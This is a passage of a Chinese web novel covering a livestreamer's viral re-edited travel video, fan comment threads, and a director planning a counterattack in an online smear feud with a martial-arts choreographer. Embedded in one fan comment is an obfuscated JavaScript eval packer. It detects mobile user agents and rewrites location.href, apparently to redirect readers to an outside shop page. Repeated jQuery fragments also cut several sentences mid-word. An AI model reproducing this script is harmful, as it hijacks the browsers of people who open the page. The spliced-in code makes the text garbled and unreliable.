直播助理掏出手机,当场注册了个粘吧账号,她斗志昂扬地说:“要吧,我们帮她说话,暗戳戳的刷刷好感度,万一大佬刷到,一高兴就答应长期合作了呢!” 何荷若有所思地点点头:“你说的对。” 她先用小号,在质疑“系统”的贴子下回复了一楼。 路人H:我是先前求助素材修复的,@系统系统我爱你大佬帮我直接剪辑了一个超棒的视频!绝对的技术流! 正值饭点,休闲玩手机的人多,粘吧流量也不似从前,有关“系统”的帖子一直挂在主页的热搜上,所以立马就有零星几人回帖反驳。 路人A:无图无真相,又来一个演员。 数据修复A:你们IP相同,都是A市,怎么证明你不是小号自炒? 路人Z:就是啊,至少得不同IP吧,装也不装得像一点! 路人G:两天了!这个帖子已经被我嚼干巴了,不好玩了,有没有新的乐子啊,一起拒绝炒二手热度啊! 二手售卖:…… 被网友追着质疑的何荷有些恼火。 身为博主,她每天都有不同的视频拍摄任务,而A市郊区内,有着最大型的影视基地,一个基地几乎就能满足她的所有拍摄场景需求,大多数短视频博主都会选择居住在A市,或者每周都要来A市拍摄。 虽然心有不满,但和大佬IP相同这个发现,又让何荷感到高兴:说不定可以线下见面! 求贤若渴的何荷,现在根本看不得别人贬低大佬,一气之下,她直接登录了粘吧大号,在楼里回帖。 情感博主呵呵:“路人H”是我小号,我的新视频就是“系统系统我爱你”剪辑的![链接]刻舟求剑,而这已是nextlevel! 情感博主呵呵:打码截图.jpg聊天记录也有,有图有真相! 情感博主呵呵:刚发布不久,数据全网可查,“系统”就是毋庸置疑的技术党! 大号爆完料后,何荷气愤地扔下手机,她去卫生间里洗了把脸,开始为晚上的直播做准备。 正式直播开始后,全程都按着她的计划进行,如她预想的一样,有不少弹幕都在询问新视频的事,讨论度空前的高。 播粉A:我怎么感觉我看过这些画面……但又觉得不像,总不能是我做梦梦到的吧。 播粉C:你没记错,几年前发过这个旅行VLOG,我今天刚考古完那个旧视频,现在这版应该是重新剪辑的。 播粉D:我列个豆!两个版本根本不像啊,我记得之前那个视频很不连贯吧,有点云里雾里的,现在这个…… 播粉D:好怪啊,说不上来,那种梦幻又有点诡异的感觉……再看一眼。 播粉E:是叫梦核还是怪核吧,我去……看了之后去对比之前的视频,先前那个确实是平淡了点…… 播粉F:这剪得太牛了,尤其是剪辑思路和画面表达,感觉呵呵团队换剪辑了。 何荷抬眼扫视弹幕,回答着弹幕的问题:“对,就是之前发过的素材重剪。” “没换剪辑哦,我在视频简介和结尾都有标注,是个粘吧大佬帮我剪辑创作的,我超级喜欢!下午刚收到,迫不及待就和你们分享了!” 播粉G:这不就是没活了吗?冷饭硬炒,就这啊。 播粉H:确实啊,素材重新剪辑,这也太偷懒了吧…… 播粉I:不爱看可以退出,而且你看不懂主题吗?多读点书吧,连别人想表达的是什么都看不懂! 播粉F:恰如其分的视频效果,剪得好好!!好喜欢这个剪辑风格!求呵呵和大佬多合作几期视频!! “确实是旧素材。”何荷抿了口水,“老粉应该都知道,我个人非常喜欢I地,曾经把去I地旅行当成我活下去的支撑,每当我坚持不下去了,我就会想,我还没看过I地的日出日落,还没吹过那里的海风呢,你甘心吗?” “所以当我的事业重新有所起色,我立马把旅行提上日程,并作为事业进阶的奖励,当时我还拍了不少旅行前的准备,根本睡不着,整个人都很亢奋。” “对,就是有点像小学生春游前的兴奋。” “我当时可期待了!我的一个梦想马上就要实现了!这预示着我会越来越好的!” “但老粉也都知道,我拍摄的素材受损了,当时我特别崩溃,我特别希望这段回忆和体验是完美的!但是不尽如人意,视频剪辑尝试了很多种,都没有达到我期待的效果,主要是没有表达出我的内心感受,那种热切的期盼渴望和追寻。” “但是!大佬帮我剪辑的这一版!!!真的!超级贴合我的心境!!” “我真的超级喜欢!” 随着何荷娓娓道来,弹幕陷入回忆。 播粉A:哦,这么说我记起来了,呵呵有段时间直播说过,她很珍惜那段素材,修复不好特别崩溃,晚上总是会不断回放,试图弥补。 播粉C:什么炒冷饭啊,这个主题,就是要结合几年前的视频看!刻舟求剑呜呜呜,这不就是呵呵曾经没有满足,难以到达,但不甘心的概括啊!! 播粉C:所谓伊人,在水一方。 播粉I:就是啊!这个剪辑是nextlevel!踏过黑暗日子不断努力,呵呵的事业也是nextlevel! 播粉C:而且,每个人看视频都是在看自己吧,反正我感受到了里面强烈的情绪,我曾经没有得到让我辗转反侧的,我一定要努力得到!!等我上岸,我也要发nextlevel的视频,宣告我努力的成果!! 播粉A:妈呀,这个剪辑大神,真正的心软的神,用她的剪辑弥补了呵呵的遗憾,回应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762179|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呵呵的刻舟求剑!有点想哭怎么回事!! 何荷的眼眶有些湿润,她在镜头前丝毫掩饰不住心中的激动:“对的,情感都是私人的,不知道你们有没有感觉到,视频加的特效画面真实又让人感觉特别虚幻!真的是特别厉害的表达!!” 播粉F:你们交流了多久啊,大佬能精准的get到呵呵的想法诉求,并且实现哎,这样的乙方给我来一打! “没沟通多久,真的和你们说的那样,我就是遇上心软的神了,说实话,我一开始不抱什么期待的。” 播粉A:啊??大佬直接隔空读心,算出呵呵内心隐秘的情感!妈耶,命中注定,起鸡皮疙瘩了…… 播粉I:在时间的长河里刻舟求剑(1),呜呜,呵呵对年少向往的地方有执念,就像同年回忆里人山人海,但因为回不去了又空空如也,呜呜,这个视频就是给我这种感觉,好像梦核,好怪的又充满情绪的体验!真的nextlevel! 播粉T:我就说,大家深夜都是大诗人,晚上容易emo,阅读理解就应该晚上考。 播粉F:我刚刚去瞄了一眼大佬的粘吧,妈呀,好多剪辑找上门,在她的主页留言,感觉全世界的剪辑工作都粘了上去。 何荷按照一开始的宣传计划,让助理Amy发布了全网话题词条,她在直播间里呼吁粉丝,有时间可以去参加玩玩:“我在全网上传了nextlevel的词条模板,努力后,你们的执着之物也一定会有所回响!” 播粉A:我去,我刚退出直播间看了话题词条,已经上热搜了! 播粉F:我先去粘吧了,不敢想,如果让我和这样的大佬合作,工作该有多么顺利! 播粉R:哈哈,我早就关注了,是大佬的第5位粉丝,领先所有人一大截! 播粉A:大家记得遵守互联网礼仪啊,不要给大佬带去麻烦! *** “系统系统我爱你”的账号一夜爆红,柏俞有些措手不及,她看着留言板爆满的剪辑邀约,慢吞吞地爬上床。 柏俞躺下,把自己瘫成一张煎饼:现在不怕找不到工作了……因为工作全都自己找上门了! 当然,账号下除了拥簇她的,也有不少人依旧持怀疑态度。 数据修复A:会剪辑不代表很会数据修复吧…… AAA维修一哥:你就酸吧,我都说了那是我亲眼所见! 路人I:大佬答应了帮我修手机,大家可以蹲蹲后续,我觉得靠谱。 粘吧信息实在纷纷扰扰,还记得刚开始要做什么的柏俞不忘初心,她忽略了不断增加的小红点,退出后跳转到了大眼。 大眼的热搜上,爆了不少和她“马甲”有关的词条。 #爆视频刻舟求剑 #爆nextlevel #爆系统系统我爱你的神仙剪辑 …… 柏俞跳过这些,打算直接搜索张横武的大眼账号,信息滞后的主系统却跳出提醒。 【主系统:检测到事件关键人物——张横武,给自己买了个热搜,但因柏俞你的热度更甚,对方毫无水花。】 柏俞讶异地停下搜索动作,将热搜向下翻,终于在60开外找到了张横武买的热搜 #张横武,瓜之大邀约 柏俞:钱打水漂了!他有没有生气!初步达成帮哥哥解气的目标! 11. 父亲来电 见张横武买的热搜毫无水花,柏俞心下一安,她哼着不成调的小曲,给晚上还要出门打工的可怜哥哥发去关心的飞鸽。 【小俞:哥哥,你在哪里啊?什么时候回家。】 柏俞有些懊恼,她没在温时礼出门前询问他的行程,从前绑定宿主,她都是能直接查看宿主定位的。 【小俞:要早点回家哦,我在家里等你。】 柏俞看着自己的飞鸽界面,满意地点点头,自我肯定:这就是寒暄啊!我越来越像人类啦! 她像猫一样在床上打了个滚,准备在全网都在为“系统”视频疯狂时,逆人流而行,去关注一下亏钱了的“孤寡老人”张横武。 可她还没切换回大眼界面,房门就被人敲响了,管家爷爷领着保姆阿姨,两人来催她睡觉了。 管家恭敬地将柏俞捧着的平板收起,笑眯眯地喊她去洗漱,他语调平缓地说:“小俞,不能一直玩平板哦,到小孩的睡觉时间啦,今天爸爸会给你打电话讲睡前故事。” 柏俞应声从床上爬起,她记得系统显示,父亲温渊的炮灰值很低,不需要她操心,柏俞对这个新的家庭成员充满期待。 “来啦。” 她跟着保姆阿姨进了卫生间,洗漱完后乖乖躺好,等待父亲温渊的来电。 管家将接通了的手机息屏,摆在柏俞的床头柜上,又把睡眠氛围灯打开,而后离开了房间。 柏俞在昏暗中眨眨眼,泛起了一丝困意。 外放的手机里传出一道温文尔雅的男声。 “小俞,是爸爸哦。”温渊放缓语速,尽量让声音听起来充满感情,哄道,“今天给小俞讲小兔子的故事好不好。” “嗯嗯!爸爸。”柏俞往被子里缩了缩,让自己整个人被包裹,“你讲吧,我准备好了。” 那头的温渊循循善诱:“在讲之前,爸爸能问问小俞这几天去哪里玩了吗?” “去了哥哥的酒店……”柏俞顿了一下,心觉让爸爸知道自己一个人出去玩不好,她不太自然地忽略了这段,分享道,“然后吃了好吃的蛋糕。” “嗯。”温渊的声音十分平和,“以后不能和哥哥在外面玩到这么晚了哦。” “嗯。”柏俞应声。 她在温渊娓娓道来地讲述下,渐渐陷入梦乡,在意识彻底昏迷前,她隐约听到了温渊轻声叹息:应该少和温shi#%玩的…… 柏俞的意识十分模糊,她没听清温渊在说什么,彻底睡着过去。 *** 柏俞睡着了,但网上关于她马甲的热度正在进一步发酵。 “系统系统我爱你”剪辑的视频火爆全网,何荷有不少博主朋友纷纷发来祝贺,顺便不经意地询问起何荷有没有剪辑大佬的联系方式,想通过“走后门”的方式优先获得合作机会。 毕竟,只有真正的大佬,在巨大的流量面前才能保持处变不惊,任外界如何喧嚣,“系统”都始终没有在粘吧或大眼上出现过,私信、帖子和留言板一个都没回复。 但是,这个三无账号一夜之间就挂上了粘吧的技术蓝V,大家除了她的IP地址,其他信息全都一无所知。 不少博主在“系统”的留言版上观望到了影视剧组的合作邀约,皆是一些有过爆款剧的制作组,在留言板上发出了橄榄枝,邀请“系统”为他们的待播剧制作宣传短片。 那些拐弯抹角求联系方式的信息,何荷一一搪塞了过去,毕竟她自己都还没有联系方式呢!哪轮得到他们先加!就算有,怎么能先便宜了外人?!她自己还有合作想和大佬谈呢。 热闹的工作室内,剪辑小王在工位上发出一声长长地感叹:“何姐——” “你说她这剪辑想法咋想到的啊,我怎么想不到,朝哪里求神拜佛可以获得这样的灵感?” 小王盘腿坐在人体工学椅上,用手推着办公桌带动滚轮前后滑行,仰头倒在椅背上,发出灵魂感慨,“因为何姐你发了交流截图,短短四个半小时,要看原片素材,想出想法,做分镜转场设计,剪辑,加特效渲染BGM什么的……” “这是神仙吗?!”小王不可置信。 “如果没有团队,她的时间流速是不是比我的慢啊!就算是团队也不可能做到交流毫无阻塞,表达如此统一吧,这么短的时间就能交出质量这么上乘的作品!” 小王佩服得五体投地,她将椅子往前拉,让自己回到电脑前,移动鼠标,把粘吧技术党的分析帖子继续往下划。 剪辑技术分享A:以上就是我按个人水平整理出的知识点,希望大家课后多多练习,不要只想着做大佬的舔粉,咱们要做技术粉!各位下次见,我先偷偷舔为敬。抱拳.jpg 吃瓜A:哈哈哈,我要舔,不让大家舔,话说一下好多人涌入粘吧啊。 小王跳过这些插科打诨的回帖,继续浏览着其他帖子里的分析。 粘吧技术党不断解析视频,剖析其中的剪辑难点,短短两分半的视频,都要被盘包浆了,小王发出了头悬梁、锥刺股的声音:“我学我学!我爱学习!我要进步!” Amy抱着手机,没管戏多的小王,她欣喜地说:“视频在全网都要盘包浆了吧,而且!我们何姐的标题话题想得也是一绝啊!” 直播助理也激动地守在电脑前,感叹道:“对啊对啊,已经有不少人带着刻舟求剑、nextlevel的标题发布视频在话题里了,话题热度持续飙升啊!” 技术党小王不太关心话题的后续经营,她细细翻看着粘吧的技术帖,记下网友分析的重点难点,突然发出一声惊呼。 “我靠!” Amy打了个激灵:“吓我一跳,不要一惊一乍的!” 小王激动道:“因为这波热度,万年没更新的粘吧刚刚发申明了!” “它宣布要上线新功能!添加状态栏,用来显示最近一次上线的时间,可以自行选择私密,另一个是要开设专门的工作预约排期栏目。” “我靠!何姐牛B!大佬牛B!一晚上,让粘吧总裁为我连夜call来程序员做功能升级,太有牌面了!” 因为有不少人在“系统”的主页下蹲守回帖,想要看热闹,但当事人一直没有回复,不少因为“系统”剪辑新注册粘吧的用户开始发散思维,胡乱分析,认为一个三无账号不可能是大佬的常用软件,开分析新楼自发搜寻起蛛丝马迹,想要判断出大佬最常出没在哪些地方。 沉寂了多年, () { $(''.inform'').remove(); $(''#content'').append('' 流水用户一直在骤减的粘吧突逢流量,粘吧总裁高兴得睡不着觉,盯着巨大的流量一个人偷笑,他在心里由衷地感谢“系统系统我爱你”和“情感博主呵呵”,几乎是零成本让软件在商城的下载排名直线上升。 但“系统”一直不回复,不出面,总难免让人觉得她根本不玩粘吧,为了留住新的日活,粘吧总裁连夜喊来程序员,商讨上线新功能,势必要接住这波流量翻红! *** 除了粘吧内部忙得热火朝天,被一个剪辑视频压得上不了热搜的张横武也睡不着,不过他慢慢转变了思路。 既然生不逢时,花钱买热搜,却没出什么效果,但是现在有现成的流量可以直接蹭啊! 想通了的张横武一个电话打给了他的剪辑师,让剪辑在早就定稿的武术指导花絮视频前,增加一段他从前的武打风姿,要求要符合nextlevel的话题内涵。 幸好之前还没发!张横武暗自庆幸,现在他能白蹭这波泼天的流量,因祸得福! 虽然综艺邀约没上热搜,但说不定他的视频能借东风上热搜! 剪辑师熬了几个大夜后刚睡下,被电话吵醒的他有些烦躁地憋着口气,但顾客就是上帝,更何况打电话来的是要求贼多,给钱贼抠,但脾气贼不好的张横武,剪辑师非常牛马地被子一掀,打开电脑按甲方的新要求修改剪辑。 剪辑师心想:又改!又改!给那仨瓜俩枣!就叫我改改改! 虽然心有不满,但他还是很殷勤地回复收到。 【剪辑:好的,改完会重新发送至您的邮箱。】 剪辑师眼眶粘滞,目光空洞,他强打起精神,仔细端详着上热搜的短视频,在心中由衷地感叹水平之高,最后盘算着这条剪辑、这个热度,对面的剪辑师能赚到多少钱。 张横武催得急,像是生怕蹭不上这新鲜的热度,期间不间断地打电话催着剪辑师。 无奈,剪辑师只能按照张横武的要求,一切从简,只是在定稿的花絮前面加上了张横武年轻时的武姿。 剪辑师在飞鸽里恭维着张横武,闭着眼睛夸他的武术精湛,希望通过拍马屁,来掩盖他当下不想上班的心情。 【剪辑:我看了您十几年前的武打视频,打得太好了!我一帧都舍不得剪掉!】 【剪辑:短短5分钟素材,根本不够看!!】 【剪辑:我想让广大网友也看到您武打的全过程,完整地欣赏到您的武术风采,所以将它完整地接到了现有花絮的前面。视频.MP4】 【剪辑:您看还满意吗?主要是您的武术功底太扎实了!视频随便剪都好看!】 这马屁拍得张横武浑身舒坦,他看着新发来的视频花絮,心想:确实啊,我的风采,就应该一帧不剪的展现给大家! 张横武在心中贬低热搜上的视频:要靠剪辑上热搜的,都是内容没货的,才要靠外物走歪门邪道! 看着剪辑师赶工出来的作品,虽然很粗糙,但胜在迅速。 张横武故作清高地没有直接用nextlevel的话题标题,而是配文道:小年轻都在讨论nextlevel,老人家也来跟一下潮流,不知道还跟不跟得上喽。视频.MP4 12. 事态升级 深夜,话题讨论度在不断飙升,张横武新发的花絮视频也在话题下蹭到了热度,不少路人纷纷在视频下留言。 【老粉A:快来看我们廖大侠的武打视频,绝对的硬实力!真功夫!】 【粉丝A:比起现在的仙侠古偶像,真是水平高出一大截,不愧是曾经武打明星出道,获得过武术奖项的。】 【路人A:你这个视频不应该发在nextlevel下面吧,看你前面打得比现在好啊,我这个人说话比较直接,退步了。】 【老粉A:@路人A你会武术吗就胡乱开麦,现在那是因为电视剧都喜欢用小鲜肉,老廖转型做武术指导了,那些小鲜肉哪个能做到他之前的那些武打动作吗?!教别人肯定教简单的啊,反正剧组又不是真心实意要拍好的武打桥段,到时候加个特效不就好了。】 【路人A:你急了你急了,我只是说不符合nextlevel的整体基调,他看上去明明是降了一个level,老了动作不像年轻时利索了。】 【老粉A:@路人A这是剧组的指导花絮,就是剧组要他指导的武打动作,小武指都是没有话语权的!】 【路人A:你刚你对,别追着我艾特了……】 【老粉C:大家还记得老廖之前说的和剧组解约了吗,我已经扒出那个明星是谁了。】 【老粉C:通过我的人脉得知了老廖合作的剧组,筛选了里面的女演员,绝对靠谱!就是定妆照演女二的那个小演员@我是江岚。】 【老粉C:老廖肯定是在剧组受了什么委屈!一个没什么名气的女演员都敢扇他巴掌了!兄弟们团结起来啊!】 路人被廖横武评论区的大瓜吸引,不断有人点进了廖横武的大眼账号,查看他们说的剧组解约瓜,忙得像瓜田里的猹。 【路人D:我去……还能吃到这么劲爆的瓜。】 【路人B:大家发现了没,热搜最下面有个#廖横武,瓜之大邀约的热搜,我去,真给干进综艺要一线直播吃瓜了吗?!】 【路人C:我是瓜之大综艺老粉,谈拢的嘉宾都是会直接官宣的,所以说明我的互联网人脉真的去找廖横武了,但廖横武可能还没答应。】 【路人D:@武打廖横武V快答应啊,我真的很想吃上这一口新鲜的瓜!】 【吃瓜D:所以是那个女演员打了廖横武吗?他配文“现在年轻人不懂尊老爱幼”是啥意思,你们不觉得他说话很倚老卖老吗?看得我很不舒服。】 【路人D:不一定是女明星打了他吧,一个黑屏视频,只有个巴掌声能说明什么,最多说明有女生说了句滚。】 【吃瓜E:@吃瓜D点了,考古了他的大眼,每个文案都充斥着大家让让我,我是世界中心的感觉,和我那大男子主义,想当老大控制我的古板爷爷一模一样。】 【老粉A:@吃瓜D@吃瓜E你们不关心剧组霸凌,关心别人怎么说话,我看你们才是天天想指导别人的人生吧!】 【吃瓜E:@老粉A:你急了,他自己说自己被霸凌了吗?一股遮遮掩掩的绿茶味,而且他不是武打明星吗?谁还能打得过他?!你是在质疑他的武力值水平吗?】 【老粉C:@吃瓜E武力值和资本那个硬?肯定是剧组不让说呗,大家都别在老廖评论区吵了,那女的就是江岚,老廖会这么说,肯定是对方不尊重他了,我呼吁兄弟去江岚评论区教她尊师重道,没毛病吧?好歹是指导过她的老师。】 【吃瓜E:@老粉C你又知道了,你是廖横武本人吗?你就知道真相了,真无语,一个字就能赛博判案,你不知道人在愤怒的时候,声音和平时可能会不一样吗?】 【岚粉A:我们姐姐说话很温柔的,从来不生气,不可能是我们姐姐,不要空口污蔑!】 【江岚站姐:胡乱猜测就引导网暴,是当我们姐姐咖位小,没活人粉了吗?!】 【江岚站姐:这就不可能是我们姐姐!】 【老粉C:江岚粉丝们别在这和我刚了,你们塌房了!哈哈!刚刚老廖自己发了不黑屏的视频,就是江岚扇了他一巴掌,你们就嘴硬吧,打不打脸??】 【老粉C:我真是笑死了,现在跪下来磕头说转粉了,还来得及,粉随正主!】 廖横武满脸横笑地盯着评论区,对评论风向十分的满意,见时机成熟,他故意将掐头去尾的视频手滑发送,雇佣了营销号帮忙保存转发,他再慢悠悠地删除视频。 【武打廖横武V:助理刚刚手滑,已删除有脸的视频,理性吃瓜。】 廖横武的助理无辜躺枪,吃瓜路人在廖横武粉丝的煽动下,根本来不及关心视频到底是谁发的,纷纷涌入江岚的大眼,要求她给一个解释。 还有不少人在评论区艾特剧组,要求剧组给出一个交代。 【老粉C:@温时礼导演,请问为什么放任剧组欺凌,还擅自解约,你和江岚是不是有一腿?】 【老粉A:@剑澜剧组v抵制无良剧组!没有武术指导又准备只靠特效,难看死了!拍戏都这么容易吗?也请我去拍拍呗。】 *** 在廖横武引导舆论的深夜。 温时礼被助理小向搀扶着刚回酒店,一晚上的饭局,投资拉得十分不顺利。 小向刷卡打开酒店房门,插卡开灯时,温时礼挣开他扶着的手,幽魂似的前往洗手间,脚步虚浮。 “温哥你小心点!”小向生怕温时礼摔个狗吃屎,连忙上前要托住趔趄的他,提醒道,“在瓷砖地摔屁股墩是会骨裂的!” “没事……”温时礼声音沙哑,他踉跄地抬手撑着墙壁,将重心倚在墙上,“……我可以走。” “肯定是张横武背后的资本说了什么!故意为难你,他爹的!不带这么欺负人的!”小向酒量大不容易醉,虽然对方一直逮着温时礼灌酒,但他也喝了不少,一喝酒,他的思维就格外跳脱,什么话都不经大脑的就往外蹦。 小向通过座机呼叫着服务员送醒酒汤,他手在身上上下摸索,想要找出手机:“我们换个资方, () { $(''.inform'').remove(); $(''#content'').append('' 查查有哪些是和坊传娱乐没有来往的。” “怎么会有人光喝酒,不吃菜的啊!”一想到这,小向就来气,看着满满一桌的珍馐他都要急着了,愤慨道:“白花钱点了一桌子,不吃,敢情是拿我们当下酒菜啊!” 见温时礼头痛欲裂,但还是洁癖地要洗澡,小向怕他在浴缸里睡过去,溺水身亡,或是想呕吐被呛死。 “温哥!使不得!就邋遢一晚吧!”喝了酒情绪十分饱满的小向硬是拉着温时礼的衣角不让他进去,整得像生离死别,“使不得啊!!” 温时礼有些无语,他手痒的想给小向一个暴栗,但反应慢半拍:“我没醉到……不省人事的地步。” “那你去吧,我留不住你。”小向放手,吸吸鼻子,眼眶酸涩,他顺着墙往下滑,跌坐在地上,仿佛马上就要再也见不到温时礼了,他喃喃道,“我就在这卫生间门口守着你。” 温时礼关门的手一顿:“……” 温时礼:“有点……变态了,你坐远点。” 虽然好心被老板嫌弃,但小向还是选了个折中的办法,他挪动位置,瘫在沙发上,时不时就冲着卫生间喊两声:“温哥,你还在吗?” 正意识混乱,摸索着调水温的温时礼:“……醒着。” 两分钟后,小向摸出手机,顺便关心道:“温哥,听到扣1。” 正踉跄着脱衣服的温时礼:“……1。” 又一个两分钟后,小向打开小高不断发来的飞鸽信息,不忘关心道:“温哥,你没睡吧?” 刚冷水冲脸,清醒了点的温时礼:“……退订。” “好的。”小向老实了,“那我5分钟后再问,你坚持住别死了!我怕明天早上我就成嫌疑犯了!” 小向越想越悲从中来,仿佛已经看到了自己锒铛入狱的模样:“我只是来打工的,我不要坐牢啊!” 思维混沌的温时礼:“……”听着像关心,但怎么感觉怪怪的。 房间内安静下来,没人搭话的小向专心致志地和小高插科打诨。 【AAA维修一哥:我师傅牛逼,真脱离粘吧这个小舞台,舞到大眼上了!】 【AAA维修一哥:她还答应了别人修手机先送我这,这说明什么?!说明我还能见到她!嘿嘿,她肯定对我有点满意,下次我拜师就会成功!】 【AAA维修一哥:没想到师傅还会视频剪辑,现在粘吧好多剧组都找她剪呢,你要不要也去占个茅坑。】 【AAA维修一哥:师傅太牛逼了!让粘吧连夜为她升级!】 【向:哪有茅坑?】 【AAA维修一哥:[链接]爆系统系统我爱你的神仙剪辑】 【AAA维修一哥:兄弟看热搜,我师傅将热搜全面占领了!快趁热去瞻仰一下英姿吧。】 小向刚要退出飞鸽,点开大眼,玄关处温时礼外套内的手机响了起来。 他挣扎着起身,挠了挠耳朵,对卫生间大喊:“温哥,电话!你还醒着吗?!” 13. 不完全被动 温时礼裹着浴衣,头发湿漉漉的从浴室里出来,他抓过衣服从中掏出手机,接通了来电。 小向见他安然无恙地出现在玄关,心安了大半,他重新将注意力集中回小高发来的大眼链接上。 本来兴致盎然地围观网友耍宝,小向滑视频的手指一顿,整个人猛地从沙发上窜了起来:“我去!廖横武发的武术指导视频!” 他火急火燎地点进热搜词条下廖横武的ID,快速浏览起他的评论区,翻没多久,小向心中一阵悲怆:三更半夜的,这天怎么就塌了! 小向:饭局被资方为难,廖横武又乘夜作妖!?打工人怎么这么难!水逆!一定是水逆!我要去求一车珠子挂手腕上辟邪! “温哥!” 反应极大的小向脚下不稳,差点从沙发上倒栽葱,他一手撑地,手脚并用地起身,冲向玄关,要把这惊天噩耗汇报给温时礼听。 “嗯……”刚洗完澡的温时礼虽然仍旧醉眼朦胧,但意识已经在渐渐回笼,他听着江岚的来电,耳膜像泡在水里,声音隔得很远,听得不是很真切。 他烦躁地揉了揉耳朵,尽量心平气和地安慰江岚:“没关系,你手里的视频先别放,等剧组回应了我会给你打电话。” “……瓜之大剧组也找你了?”温时礼不太确定地重复,听到对面肯定的答案后,他嗯了一声,“我知道了,先别答应,也别拒绝,等我回复。” 电话那头的江岚听温时礼如此气定神闲,也不再慌乱紧张,她重重应声,表示一切辟谣反击的行动都会听从剧组的安排。 温时礼的态度平和,只是因为他还不清楚到底发生了什么,挂掉电话后,他一个人静默地站在原地揉着太阳穴。 见温时礼接完电话,小向火急火燎地向他汇报了现在网上的情形,总体舆论对剧组十分不利,廖横武放出的“证据”视频在营销号的转发下传遍全网。 “我知道了……” 温时礼边听小向语无伦次的汇报,边头疼地翻看评论区,廖横武老粉的战斗力太强,不明真相的吃瓜群众又看热闹不嫌事大,一下让这件事的热度空前。 温时礼举着手机离开玄关,他脚步深浅不一地来到窗边,“咔哒”一声打开了窗户,让冷风呼呼地灌入房间。 “小向,让剧组公关发布声明,意思围绕和平解约,对张横武先生不存在剧组霸凌行为。” “哦哦。”小向刚点头,酒店的房门就被人敲响,他本就精神紧绷,猝不及防地被吓得一震颤,开门的动作背影显得格外忙碌。 是酒店服务员来送刚定的醒酒汤,小向接过道谢,心脏砰砰狂跳。 温时礼和小向是大学同学,对他十分的了解,知道小向喝得半醉后情绪格外饱满,特别容易应激。温时礼面迎着冷风,放空脑袋什么都不去想,他将额前不断滴水的刘海向上拨,安抚小向道:“没关系,我们手里留有证据,能证明他被扇巴掌不是毫无缘由,我们不完全被动。” 虽然嘴上说得轻松,温时礼还是感到疲倦,他头痛欲裂,事情全都万般不顺,但为了不让自己做出什么不理智、不正确的决策,他强忍着醉酒难受,迫使自己迅速冷静下来。 温时礼头发上的水珠不断滚落,滴在地上、窗台上,留下杂乱无章的水点子,浴衣自然也未能幸免遇难,他整个人像是逗留在雨中没伞打的少年,雨点被布料吸收,而后黏在身上。 温时礼一动不动地吹着冷风,安静得像一座岩浆涌动的死火山。 直到小向打完电话,给他递来醒酒汤,温时礼一怔,道谢接过,他重新将息屏的手机摁亮,准备打开飞鸽联系人思索解决办法。 入目跳出来的,是妹妹柏俞的信息。 【小俞:哥哥,你在哪里啊?什么时候回家。】 【小俞:要早点回家哦,我在家里等你。】 有困难是在所难免的…… 嗯嗯,我相信哥哥…… 温时礼耳边仿佛回响起柏俞鼓励的话语,半响,他自嘲地笑笑,还说小向醉后情绪敏感,他自己不也是,才发生一点小事,就摆烂地想明天再想办法解决。 温时礼深吸口气,让冷空气充盈着肺泡,他反倒觉得自己被妥帖地熨烫了一下,焦躁的心绪稍稍被抚平了。 “就当给剧组炒热度预热了。”温时礼三两下将醒酒汤一饮而尽,他指尖挑过衣架上的毛巾,胡乱擦着不断滴水的头发,快速给柏俞回了句“晚安,哥哥明天回去”,而后给排名30开外的“廖横武,瓜之大邀约”词条花钱冲热搜。 “花钱找水军营销号去热搜下面带节奏,给廖横武营造他很占理,我们拿他没办法的错觉,想办法让廖横武答应综艺邀约。” “我们需要一下把他捶死,否则他背后的资本只会大事化小,这件事的热度越大越好。” 黑夜中,温时礼平静地开口,声音近乎呢喃:“……既然他想出名,我们就满足他的愿望。” 虽然声音很轻,但小向听得热血沸腾!他斗志昂然地按照温时礼的吩咐行事,顺口由衷地赞叹了句:“温哥!你做事真是阴狠毒辣!” 温时礼一哽:“……”谢谢你的夸奖。 “不是。”话脱口而出,小向才后知后觉有点不对劲,他改口道,“……我是说你真英俊潇洒!” 温时礼:“……” “忙你的去吧,早点忙完,还要睡觉呢。” 见小向激动地对着手机露出狞笑,温时礼翻找着飞鸽通讯录,点开了瓜之大综艺李导的聊天界面。 【温时礼:李导,我看到热搜了,如果廖横武同意参加综艺,我也可以参加。】 【温时礼:这样更有爆点不是吗?】 那头的李导也还没睡,今夜一堆未眠人,他的信息立马就回了过来。 【李洋:当真?!】 李洋很兴奋,他一骨碌翻身从床上坐起,温时礼在他眼里是个冷静沉着,从来不打无准备之仗的后起之秀,年轻人资历尚浅,但行事从不冲动,能说出这样的话,绝对是手里掌握着什么劲爆的东西。 而李洋为人缺德,极其爱看热闹,他如同嗅到血腥味的食人鱼,势必要从猎物身上咬下肉来。 【李洋:等着。】 【温时礼:等着李导的好消息。】 这一 () { $(''.inform'').remove(); $(''#content'').append('' 忙,几人就忙到了后半夜,小向意识模糊、歪七扭八得睡倒在了沙发上,第二天早上一个翻身,从沙发上掉了下去。 “砰——” “哎呦!” 小向头重脚轻地缓慢爬起身,浑身酸痛,仿佛他昨天晚上参加的不是什么赛博战役,而且线下真人PK,他还是被人按在地上痛殴的那一个。 “我的屁股!”小向发出惊天哀嚎,他艰难地撑起上半身,转变嘴脸庆幸道,“嘿嘿,不疼,幸好有地毯,不至于骨裂!” 温时礼闻声倾斜椅子探出头,他正慢条斯理地吃着早午餐,见小向没什么事,叮嘱道:“醒了就洗个澡准备一下,等会要去影视基地了。” “哦哦。”小向拎起衣领嫌弃地闻了两下,疑心自己不是睡在沙发,而是在垃圾桶里熏入味了,“太邋遢了,太将就了!” 火速洗完澡,小向坐到餐桌边,他这才注意到,温时礼正听着坊传娱乐艺人的采访,没什么表情地用刀叉分割着牛排。 温时礼天生一张冷脸,这样眼周肌肉未动,只是唇角勾起莫名的幅度,毫不真诚不加掩饰的笑让小向觉得毛骨悚然。 小向:“温哥,你挺适合演杀人犯的,看得我怪害怕的。” 温时礼不以为意:“哦,现在心情好。” *** 